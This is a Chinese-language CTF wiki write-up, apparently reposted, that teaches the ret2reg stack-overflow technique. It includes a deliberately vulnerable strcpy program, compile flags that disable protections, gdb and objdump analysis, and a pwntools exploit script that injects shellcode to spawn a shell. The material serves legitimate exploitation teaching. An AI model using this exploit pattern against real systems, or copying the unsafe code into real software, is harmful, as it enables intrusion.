[CTF Wiki Pwn]Stackoverflow: ret2reg

Posted 漫小牛

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[CTF Wiki Pwn]Stackoverflow: ret2reg相关的知识,希望对你有一定的参考价值。

1、原理

(1)查看栈溢出返回时哪个寄存器指向缓冲区空间。
(2)查找对应的call 寄存器或者jmp 寄存器指令,将EIP设置为该指令地址。
(3)将寄存器所指向的空间上注入shellcode(确保该空间是可以执行的,通常是栈上的)。
出现该漏洞的代码的典型特征是:程序中存在strcpy的字符串拷贝函数。

2、生成符合ret2reg的二进制

源程序为:

#include <stdio.h>
#include <string.h>
void evilfunction(char *input) {
        char buffer[512];
        strcpy(buffer, input);
}
int main(int argc, char **argv) {
        evilfunction(argv[1]);
        return 0;
}

编译命令:

gcc -Wall -g -o ret2reg ret2reg.c -z execstack -m32 -fno-stack-protector

若编译中gcc -m32报错fatal error: sys/cdefs.h: No such file or directory,则采取如下的指令解决,即可生成二进制文件。

sudo apt-get purge libc6-dev
sudo apt-get install libc6-dev
sudo apt-get install libc6-dev-i386

3、checksec

checksec的结果:
在这里插入图片描述
该题所有保护机制都没有打开,同时存在RWX的段。

4、利用方法

对照“1、原理”逐项进行分析。
(1)查看栈溢出返回时哪个寄存器指向缓冲区空间。
查看evilfunciton对应的汇编:

   0x0804840b <+0>:	push   ebp
   0x0804840c <+1>:	mov    ebp,esp
   0x0804840e <+3>:	sub    esp,0x208
   0x08048414 <+9>:	sub    esp,0x8
   0x08048417 <+12>:	push   DWORD PTR [ebp+0x8]
   0x0804841a <+15>:	lea    eax,[ebp-0x208]
   0x08048420 <+21>:	push   eax
   0x08048421 <+22>:	call   0x80482e0 <strcpy@plt>
   0x08048426 <+27>:	add    esp,0x10
   0x08048429 <+30>:	nop
   0x0804842a <+31>:	leave  
   0x0804842b <+32>:	ret  

ebp+0x8是字符串参数的位置,也是strcpy的src字符串,ebp-0x208的位置是buffer的位置,也是strcpy的dst字符串,lea指令相当于eax = ebp-0x208,即eax指向栈空间。接着我们在0x0804842b设断点,跟到这个位置看看eax是否仍然指向刚才的位置。

gdb ret2reg
set args 123123
b *0x0804842b
r

在这里插入图片描述
图中可知,eax仍然指向缓冲区的地址,该值与edx相同。
(2)查找对应的call 寄存器或者jmp 寄存器指令,将EIP设置为该指令地址。

objdump -D -M intel ret2reg | grep 'eax\\|edx' | grep 'call\\|jmp'

在这里插入图片描述
列出的l两条结果中,前一条满足,需将EIP设置为0x8048373。
(3)将寄存器所指向的空间上注入shellcode(确保该空间是可以执行的,通常是栈上的)。
使用pwntools直接生成shellcode。
下面给出利用方法的图示:
在这里插入图片描述

5、exp

from pwn import *

call_eax = 0x8048373

shellcode = asm(shellcraft.sh())

payload = shellcode + (0x20c-len(shellcode))* 'a'
payload += p32(call_eax)

p = process(argv = ["./ret2reg", payload])
#gdb.attach(p)
p.interactive()

执行后可得到shell:
在这里插入图片描述

以上是关于[CTF Wiki Pwn]Stackoverflow: ret2reg的主要内容,如果未能解决你的问题,请参考以下文章

[ctf wiki pwn] stackoverflow:hctf2016-brop wp

[ctf wiki pwn] stackoverflow:hctf2016-brop wp

[CTF Wiki Pwn]Stackoverflow Lab002: ret2shellcode

[CTF Wiki Pwn]Stackoverflow Lab003: ret2syscall

[CTF Wiki Pwn]Stackoverflow Lab001: ret2text

[CTF Wiki Pwn]Stackoverflow: ret2reg